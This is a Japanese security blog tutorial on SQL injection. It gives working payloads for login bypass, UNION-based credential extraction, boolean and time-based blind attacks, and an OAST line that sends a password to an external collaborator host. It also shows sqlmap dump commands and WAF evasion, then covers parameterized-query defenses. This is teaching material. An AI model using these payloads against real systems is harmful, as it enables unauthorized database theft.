メインコンテンツへスキップ
友田 陽大
実践Webハッキング技法
セキュリティ
ホワイトハッカー
SQLインジェクション
脆弱性診断
Webセキュリティ

SQLインジェクション攻撃の完全攻略【2026】UNION・ブラインド・時間ベース・sqlmap・WAF回避 — 公式ドキュメント忠実版

SQLインジェクション(SQLi)の攻撃手法を、PortSwigger Web Security Academyに忠実に深掘り。隠しデータの取得、認証ロジックの破壊、UNIONによる横展開、列数とデータ型の特定、ブラインドSQLi(ブール条件・時間ベース・OAST)、sqlmapの実践、WAF回避の基礎、そしてパラメータ化クエリによる根本対策までを、自分のラボ限定の実ペイロードで解説します。

公開日
読了時間
8分
著者
友田 陽大
シェア

OWASP Top 10:2025 でインジェクションが常に上位を占め続ける理由はシンプルです。刺さると影響が壊滅的だから。SQLインジェクション(SQLi)は、データベース全体の窃取から認証バイパス、時にサーバー乗っ取りまで至ります。本記事は、その攻撃手法を PortSwigger Web Security Academy に忠実に、しかし手を動かせる粒度で解説します。

このクラスタの絶対の前提: 以下の全ペイロードは、合法ラボ(localhost限定のOWASP Juice Shop / DVWA)または書面で許可されたスコープでのみ実行します。無許可の対象への送信は、それ自体が攻撃であり不正アクセス禁止法等に直結します(→ 法律ガイド)。攻撃クラス全体の地図は ピラー を参照。


1. SQLiの本質 — データがクエリ構造に混入する

アプリは、ユーザー入力を文字列連結でSQLに埋め込むと脆弱になります。

# 脆弱な組み立て(概念)
"SELECT * FROM products WHERE category = '" + input + "' AND released = 1"

ここで inputGifts ではなく ' を入れると、クエリ構文が壊れます。

SELECT * FROM products WHERE category = ''' AND released = 1   -- 構文エラー

この「エラーや挙動変化」こそが検出の第一歩です。PortSwigger が示す通り、'--(コメント)・OR 1=1・時間遅延・OASTペイロードを順に試して、入力がクエリに混入していないかを探ります。


2. 認証ロジックの破壊(subverting application logic)

最も古典的かつ強烈なのが、ログインの認証バイパスです。ログインクエリが概念的にこうだとします。

SELECT * FROM users WHERE username = 'wiener' AND password = 'secret'

usernameadministrator'-- を入れると、以降がコメントアウトされ、パスワード照合が消えます。

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

パスワードを知らなくても administrator としてログインできてしまう。これが「アプリのロジックを覆す」典型です。


3. UNIONベース攻撃 — 他テーブルへ横展開する

結果がレスポンスに表示される場合、UNION SELECT別テーブルのデータを相乗りさせられます。PortSwigger の手順は機械的です。

3.1 列数を特定する

UNIONは前後のクエリで列数が一致しないと失敗します。まず列数を割り出します。

-- 方法A: ORDER BY をインクリメント。エラーになる手前が列数
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   -- ここでエラー → 列数は 2

-- 方法B: NULL を増やしながら UNION SELECT。成功した個数が列数
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--   -- 成功 → 列数は 2

3.2 文字列を表示できる列を見つける

抜いたデータを画面に出すには、文字列を受けられる列が要ります。

' UNION SELECT 'a',NULL--   -- 'a' が表示されれば1列目は文字列OK
' UNION SELECT NULL,'a'--   -- 2列目で試す

3.3 DBのメタデータを列挙し、資格情報を抜く

多くのDBは information_schema でスキーマを自己記述します。

-- テーブル名を列挙
' UNION SELECT table_name, NULL FROM information_schema.tables--
-- 狙ったテーブルの列名を列挙
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--
-- 資格情報を抜く(複数列を連結して1列に収める)
' UNION SELECT username || '~' || password, NULL FROM users--

DBごとの方言に注意: 文字列連結は Oracle/PostgreSQL が ||、MySQL は CONCAT()。コメントは --(後ろにスペース)か #(MySQL)。バージョン取得は SELECT @@version(MySQL/MSSQL)/SELECT version()(PostgreSQL)/SELECT banner FROM v$version(Oracle)。まず「examining the database」でDB種別を確定させると、以降が一気に楽になります。


4. ブラインドSQLi — 結果が見えなくても抜く

結果がレスポンスに出ない(が、挙動は変わる)場合がブラインドSQLiです。PortSwigger は4系統を挙げます。

4.1 ブール条件ベース

「条件が真かどうか」で表示が変わることを利用し、1ビットずつ推測します。

-- パスワード1文字目が 's' か?を真偽で判定
xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='s'--
-- 「Welcome back」が出れば真、出なければ偽。文字を総当たりして1文字ずつ確定

4.2 時間ベース(time-delay)

表示すら変わらないなら、応答時間を信号にします。

-- PostgreSQL: 条件が真なら10秒待つ
'%3BSELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
-- MySQL: 条件が真なら SLEEP(10)
' AND IF(1=1, SLEEP(10), 0)--
-- MSSQL: WAITFOR DELAY
'; IF (1=1) WAITFOR DELAY '0:0:10'--

応答が10秒遅れたら条件は真。**「遅い=1、速い=0」**で情報を引き出します。

4.3 OAST(アウトオブバンド)

DBに外部への通信を起こさせ、その着信自体を信号にします(Burp Collaborator が定番)。ファイアウォールでHTTP応答が見えない環境でも、DNS/HTTPの着信は抜けることが多く、強力です。

-- Oracle: 抽出したデータをサブドメインに載せてDNS解決させる(概念)
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE x [<!ENTITY % p SYSTEM "http://'||(SELECT password FROM users WHERE rownum=1)||'.<collaborator-id>.oastify.com/">%p;]>'),'/x') FROM dual--

5. sqlmap — 自動化(許可スコープ限定)

手作業の手筋を理解したら、sqlmap で自動化します。ただし対象は自分の資産・許可スコープのみ。

# Burpで保存したリクエストを食わせる(Cookie/認証込みで再現性が高い)
sqlmap -r request.txt --batch \
  --level=2 --risk=2 \           # 試すペイロードの深さ/危険度(上げるほど侵襲的)
  --technique=BEUST \            # B:ブール E:エラー U:UNION S:スタック T:時間
  --dbs                          # まずDB一覧を列挙

# 狙ったテーブルを抜く
sqlmap -r request.txt --batch -D shop -T users --dump

--risk/--level を上げると検出力は上がりますが、侵襲性も上がります(データ更新系を試す等)。本番に近い許可スコープでは、依頼者と影響範囲を合意してから上げること。自動化ツールほど、向ける先の正しさが致命的になります。


6. WAF回避の基礎 — “設計の代わりにならない”ことの証明

WAF(Web Application Firewall)はパターンで既知ペイロードを弾きますが、等価変換で回避され得ます。これは「WAFは多層防御の一枚であって、根本対策ではない」ことの裏返しです。

-- 代表的な等価変換(教育目的・自分のlab限定)
'/**/UNION/**/SELECT/**/...   -- 空白をコメントに置換
'/*!50000UNION*/ SELECT ...   -- MySQLのバージョン付きコメント
%55NION %53ELECT              -- URLエンコード/大小混在
' UNiOn sElEcT ...            -- 大文字小文字の混在

だからこそ、WAFに頼り切るのではなく、後述のパラメータ化クエリでSQLiを「そもそも成立させない」ことが本筋です。


7. 【守る側】根本対策 — パラメータ化クエリ一択

ここからが、診断の価値を最大化するパートです。攻撃を理解した今、設計でどう潰すか。

PortSwigger の結論は明快で、**パラメータ化クエリ(プレースホルダ)**です。入力を「コード」ではなく常に「データ」として扱わせます。

// ❌ 脆弱:文字列連結(入力がクエリ構造に混入する)
const rows = await db.query(
  `SELECT * FROM products WHERE category = '${category}'`
);

// ✅ 安全:プレースホルダ。値は常に「データ」として束縛される
const rows = await db.query(
  "SELECT * FROM products WHERE category = $1",
  [category]
);

ただし、プレースホルダで守れないコンテキストがあります。テーブル名・列名・ORDER BY 句は値ではなく識別子なので束縛できません。ここは許可リストで守ります。

// ORDER BY の列名はバインドできない → 許可リストで検証(DRYな単一の真実源)
const SORTABLE = { name: "name", price: "price", created: "created_at" } as const;

function sortColumn(input: string): string {
  const col = SORTABLE[input as keyof typeof SORTABLE];
  if (!col) throw new Error("invalid sort column"); // 想定外は即拒否
  return col;
}
  • ORM/クエリビルダ(Prisma・Drizzle・Kysely)は既定でパラメータ化するため、生SQLの文字列連結を避けるだけで大半を防げます。ただし $queryRawUnsafe 等のエスケープハッチは要注意。
  • Supabase/PostgREST + RPC に特化した予防策は Supabase × PostgreSQL のSQLi対策 で詳説しています。
  • 多層防御:最小権限のDBユーザー(参照系は読み取り専用ロール)、WAF、エラーメッセージの抑制を重ねる。

8. まとめ

  • 検出' を入れてエラー/挙動変化を観察。文字列・数値・ORDER BY・UNIONの各コンテキストで。
  • UNION:列数特定 → 文字列列の発見 → information_schema 列挙 → 資格情報抽出。
  • ブラインド:ブール条件・時間ベース(SLEEP/pg_sleep)・OASTで1ビットずつ。
  • sqlmap:自動化は強力。だが対象は自分の資産・許可スコープのみ。
  • 根本対策:パラメータ化クエリ一択。識別子は許可リスト。WAFは一枚であり設計の代替にあらず。

次は、クライアントサイドの王者 XSS攻撃の完全攻略 へ。注入クラスの理解が、そのまま防御設計の解像度を上げます。


参考(公式一次情報)

友田

友田 陽大

経済産業大臣賞 受賞プロダクト開発者。TypeScript + Python + AWS で、SaaS・業界DX・ 実用レベルの生成AI(RAG)を、要件定義からインフラ・運用まで一人で完遂します。

この攻撃、あなたのアプリで再現されたら?

Webアプリの脆弱性診断・ペネトレーションテストを承ります

この記事で扱った SQLi・XSS・SSRF・JWT・認証・SSTI といった攻撃を、あなたのアプリで実際に再現・診断し、設計から修正するところまで承ります。攻撃の手筋を知る者だけが、設計段階で『どこが破れるか』を先回りで潰せます。まず無料OSSで現状を可視化してからでも構いません。

プロジェクト単位(請負)・技術顧問のどちらにも対応可能です。まずは30分の無料技術相談から。

あわせて読みたい